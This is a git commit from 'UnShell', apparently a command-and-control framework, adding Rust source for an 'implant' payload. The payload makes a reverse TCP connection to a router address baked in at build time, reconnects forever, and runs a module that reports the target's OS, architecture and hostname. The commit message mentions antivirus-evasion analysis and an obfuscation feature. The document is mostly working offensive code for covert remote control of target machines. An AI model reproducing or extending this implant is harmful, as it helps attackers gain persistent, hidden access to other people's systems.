feat: complete protocol spec and initial implementation

- Write PROTOCOL.md with full wire format spec and 8 real-world scenario
  analyses (reconnect, multi-operator, large files, AV evasion, router crash,
  malformed packets, future pivoting)

- Rewrite workspace structure:
  - unshell lib: protocol types (PacketHeader, TreeRequest/Response,
    HandshakeMessage/Ack), Transport trait, TcpTransport, Tree routing
  - ush-router: router binary with per-node threads, NodeRegistry with
    longest-prefix path matching, packet relay
  - ush-payload: implant binary with reconnect loop, module tree, InfoModule
  - ush-cli: operator REPL with rustyline, session management, command parser

- Protocol design: two-part rkyv frame [header][payload]; router reads only
  header for routing, payload bytes forwarded opaque

- All code documented with doc comments and examples
- Zero warnings, zero errors across entire workspace
- 32 tests pass (unit tests for tree routing, TCP transport, framing,
  command parsing, node registry)
This commit is contained in:
Michael Mikovsky
2026-04-20 23:38:02 -06:00
parent 959ea469a8
commit fcb3b2be17
30 changed files with 4623 additions and 658 deletions
+28 -8
View File
@@ -1,15 +1,35 @@
cargo-features = ["trim-paths"]
# =============================================================================
# ush-payload — The UnShell Implant Binary
# =============================================================================
#
# This binary runs on the target machine. It:
# 1. Connects to the router over TCP (reverse connection).
# 2. Completes the handshake, registering its modules.
# 3. Runs a recv loop, routing incoming TreeRequests to local Endpoints.
#
# Build with:
# cargo build --profile minimize -p ush-payload
#
# The minimize profile strips symbols and optimises for binary size.
[package]
name = "ush-payload"
edition = "2024"
name = "ush-payload"
version.workspace = true
edition.workspace = true
description = "UnShell implant binary"
[features]
default = ["log"]
log = ["unshell/log"]
log_debug = ["unshell/log_debug"]
obfuscate = ["unshell/obfuscate_ref"]
default = ["log", "tcp"]
log = ["unshell/log"]
log_debug = ["unshell/log_debug"]
tcp = ["unshell/tcp"]
obfuscate = ["unshell/obfuscate_ref"]
[dependencies]
unshell.path = "../"
serde_json.workspace = true
unshell = { workspace = true }
rkyv = { workspace = true }
[lints]
workspace = true
+223 -30
View File
@@ -1,39 +1,232 @@
#![macro_use]
extern crate unshell;
//! # ush-payload — UnShell Implant Binary
//!
//! The payload runs on the target machine. It:
//!
//! 1. Connects to the router over TCP (reverse connection: payload → router).
//! 2. Sends a `HandshakeMessage` to register its modules.
//! 3. Receives a `HandshakeAck`.
//! 4. Enters the recv loop: deserialise `TreeRequest` → dispatch to `Tree` → send `TreeResponse`.
//!
//! ## Building
//!
//! ```text
//! cargo build --profile minimize -p ush-payload
//! ```
//!
//! The `minimize` profile strips symbols and optimises for binary size.
//!
//! ## Module registration
//!
//! Modules are registered in the `Tree` before the connection loop starts.
//! Each module implements `Endpoint` and is registered at a path prefix.
//! The router will route requests to these paths to this payload.
//!
//! ## Reconnection
//!
//! If the connection to the router drops, the payload waits 5 seconds and
//! reconnects. This loop runs forever.
use unshell::{
info,
logger::PrettyLogger,
tree::{Endpoint, Tree, TreeRequest},
mod modules;
use std::thread;
use std::time::Duration;
use unshell::protocol::{HandshakeAck, HandshakeMessage, NodeType, PacketHeader, PacketType};
use unshell::transport::tcp::TcpTransport;
use unshell::transport::Transport;
use unshell::tree::Tree;
// ---------------------------------------------------------------------------
// Configuration
// Router address and node ID are baked at compile time via environment variables.
//
// Set before building:
// ROUTER_HOST=1.2.3.4 ROUTER_PORT=9000 NODE_ID=abc123 cargo build -p ush-payload
//
// Defaults (for development) point to localhost.
// ---------------------------------------------------------------------------
/// The router's IP or hostname. Override with ROUTER_HOST env var at build time.
const ROUTER_HOST: &str = match option_env!("ROUTER_HOST") {
Some(h) => h,
None => "127.0.0.1",
};
/// The router's port. Override with ROUTER_PORT env var at build time.
const ROUTER_PORT: &str = match option_env!("ROUTER_PORT") {
Some(p) => p,
None => "9000",
};
/// This payload's node ID (base62, unique per implant).
/// Override with NODE_ID env var at build time.
const NODE_ID: &str = match option_env!("NODE_ID") {
Some(id) => id,
None => "devpayload",
};
struct EndpointTest;
fn main() {
let router_addr = format!("{ROUTER_HOST}:{ROUTER_PORT}");
impl Endpoint for EndpointTest {
fn request(&mut self, request: TreeRequest) -> TreeRequest {
info!("Got request");
TreeRequest {
request_type: request.request_type,
path: request.path,
content_type: request.content_type,
data: request.data,
// Build the module tree
let mut tree = build_tree();
// Connection loop — reconnects on any error
loop {
match connect_and_run(&router_addr, &mut tree) {
Ok(()) => {
// Clean disconnect — still reconnect
eprintln!("[payload] disconnected, reconnecting in 5s...");
}
Err(e) => {
eprintln!("[payload] error: {e}, reconnecting in 5s...");
}
}
thread::sleep(Duration::from_secs(5));
}
}
/// Register all modules in the tree.
///
/// Add new capabilities by registering additional `Endpoint` implementations here.
fn build_tree() -> Tree {
let mut tree = Tree::new();
tree.register("/info", modules::info::InfoModule);
tree
}
/// Connect to the router, complete the handshake, and run the recv loop.
///
/// Returns when the connection is lost or an unrecoverable error occurs.
///
/// # Errors
///
/// Returns an error string describing what went wrong.
fn connect_and_run(
router_addr: &str,
tree: &mut Tree,
) -> Result<(), Box<dyn std::error::Error>> {
eprintln!("[payload] connecting to {router_addr}...");
let mut transport = TcpTransport::connect(router_addr)?;
eprintln!("[payload] connected");
// Build the list of registered paths for the handshake
let base_path = format!("/agents/{NODE_ID}");
let registered = tree.registered_paths(&base_path);
// Send handshake
let handshake = HandshakeMessage {
node_id: NODE_ID.to_owned(),
node_type: NodeType::Payload,
registered_paths: registered,
platform: std::env::consts::OS.to_owned(),
};
let handshake_payload = rkyv::to_bytes::<rkyv::rancor::Error>(&handshake)
.map_err(|e| format!("failed to serialise handshake: {e}"))?;
let handshake_header = PacketHeader {
dst_path: "/router".to_owned(),
src_path: base_path.clone(),
packet_type: PacketType::Handshake,
};
transport.send(&handshake_header, &handshake_payload)?;
eprintln!("[payload] handshake sent");
// Receive ack
let (ack_header, ack_payload) = transport.recv()?;
if ack_header.packet_type != PacketType::HandshakeAck {
return Err(format!(
"expected HandshakeAck, got {:?}",
ack_header.packet_type
)
.into());
}
let ack: HandshakeAck =
rkyv::from_bytes::<HandshakeAck, rkyv::rancor::Error>(&ack_payload)
.map_err(|e| format!("failed to deserialise HandshakeAck: {e}"))?;
if !ack.accepted {
return Err(format!(
"router rejected registration: {}",
ack.rejection_reason.unwrap_or_else(|| "no reason given".into())
)
.into());
}
eprintln!(
"[payload] registered at {}",
ack.assigned_base_path
);
// Main recv loop
recv_loop(&mut transport, tree, &base_path)
}
/// Receive and dispatch `TreeRequest` packets until the connection drops.
///
/// For each request:
/// 1. Read the packet header and payload.
/// 2. Deserialise the payload as a `TreeRequest`.
/// 3. Strip the base path prefix from the destination path to get the local path.
/// 4. Dispatch to the `Tree`.
/// 5. Serialise the `TreeResponse` and send it back.
///
/// Returns when a transport error occurs (disconnection, etc.).
fn recv_loop(
transport: &mut TcpTransport,
tree: &mut Tree,
base_path: &str,
) -> Result<(), Box<dyn std::error::Error>> {
loop {
let (header, payload) = transport.recv()?;
if header.packet_type != PacketType::Request {
eprintln!("[payload] unexpected packet type: {:?}", header.packet_type);
continue;
}
// Deserialise the request
let request =
match rkyv::from_bytes::<unshell::protocol::TreeRequest, rkyv::rancor::Error>(
&payload,
) {
Ok(r) => r,
Err(e) => {
eprintln!("[payload] failed to deserialise request: {e}");
continue;
}
};
// Strip the base path to get the local path
let local_path = header
.dst_path
.strip_prefix(base_path)
.unwrap_or(&header.dst_path);
// Dispatch to the tree
let response = tree.dispatch(request, local_path);
// Send response
let response_payload = match rkyv::to_bytes::<rkyv::rancor::Error>(&response) {
Ok(b) => b,
Err(e) => {
eprintln!("[payload] failed to serialise response: {e}");
continue;
}
};
let response_header = PacketHeader {
dst_path: header.src_path.clone(),
src_path: header.dst_path.clone(),
packet_type: PacketType::Response,
};
if let Err(e) = transport.send(&response_header, &response_payload) {
return Err(e.into());
}
}
}
fn main() {
PrettyLogger::init();
// ---------------------------------------------------------------------------
// Default module: /info
// ---------------------------------------------------------------------------
info!("Initiated");
let mut tree = Tree::default();
tree.add_endpoint(EndpointTest, vec!["path1".to_string()]);
tree.request(TreeRequest {
path: vec!["path1".to_string(), "path2".to_string()],
request_type: unshell::tree::TreeRequestType::Read,
content_type: "TEST".to_string(),
data: Vec::new(),
});
}
// Modules live in ush-payload/src/modules/
// Add new capabilities by creating new files in that directory.
+88
View File
@@ -0,0 +1,88 @@
//! # Info Module
//!
//! Provides basic system information about the target at `/info`.
//!
//! ## Supported requests
//!
//! | Path | RequestType | Returns |
//! |---|---|---|
//! | `/info` | `Read` | UTF-8 string: OS name, arch, hostname |
//! | `/info` | `GetProcedures` | List of available procedures |
//!
//! ## Example
//!
//! From the operator CLI:
//! ```text
//! unshell [agents/abc123]> read info
//! linux x86_64 hostname=target-machine
//! ```
use unshell::protocol::{
content, ProcedureDescriptor, RequestType, ResponseStatus, TreeRequest, TreeResponse,
};
use unshell::tree::Endpoint;
/// Returns basic system information about the target host.
pub struct InfoModule;
impl Endpoint for InfoModule {
fn handle(&mut self, request: TreeRequest) -> TreeResponse {
match request.request_type {
RequestType::Read => handle_read(request),
RequestType::GetProcedures => handle_get_procedures(request),
_ => TreeResponse {
request_id: request.request_id,
status: ResponseStatus::UnsupportedOperation,
content_type: content::NONE.to_owned(),
data: Vec::new(),
},
}
}
}
/// Return a one-line system summary.
fn handle_read(request: TreeRequest) -> TreeResponse {
let os = std::env::consts::OS;
let arch = std::env::consts::ARCH;
let hostname = hostname();
let info = format!("os={os} arch={arch} hostname={hostname}");
TreeResponse {
request_id: request.request_id,
status: ResponseStatus::Ok,
content_type: content::UTF8_STRING.to_owned(),
data: info.into_bytes(),
}
}
/// Return a list of procedures this module supports.
fn handle_get_procedures(request: TreeRequest) -> TreeResponse {
let procedures = vec![ProcedureDescriptor {
name: "read".to_owned(),
description: "Returns os, arch, and hostname of this target".to_owned(),
}];
let Ok(payload) = rkyv::to_bytes::<rkyv::rancor::Error>(&procedures) else {
return TreeResponse {
request_id: request.request_id,
status: ResponseStatus::ExecutionError,
content_type: content::NONE.to_owned(),
data: Vec::new(),
};
};
TreeResponse {
request_id: request.request_id,
status: ResponseStatus::Ok,
content_type: content::PROCEDURE_LIST.to_owned(),
data: payload.to_vec(),
}
}
/// Get the system hostname, or "unknown" if unavailable.
fn hostname() -> String {
// std::net::IpAddr doesn't give us hostname; use /etc/hostname or gethostname
// For now, use a simple approach that doesn't require extra deps.
std::fs::read_to_string("/etc/hostname")
.map(|s| s.trim().to_owned())
.unwrap_or_else(|_| "unknown".to_owned())
}
+19
View File
@@ -0,0 +1,19 @@
//! # Payload Modules
//!
//! Each file in this directory implements one payload capability.
//!
//! ## Adding a new module
//!
//! 1. Create a new file `modules/mymodule.rs`.
//! 2. Define a struct implementing [`unshell::tree::Endpoint`].
//! 3. Add `pub mod mymodule;` here.
//! 4. Register it in `main.rs`'s `build_tree()` function:
//! `tree.register("/mymodule", modules::mymodule::MyModule);`
//!
//! ## Module path convention
//!
//! Modules are registered at relative paths (e.g., `/info`, `/shell`).
//! The full path on the network is `{base_path}/{relative_path}`, e.g.,
//! `/agents/abc123/info`.
pub mod info;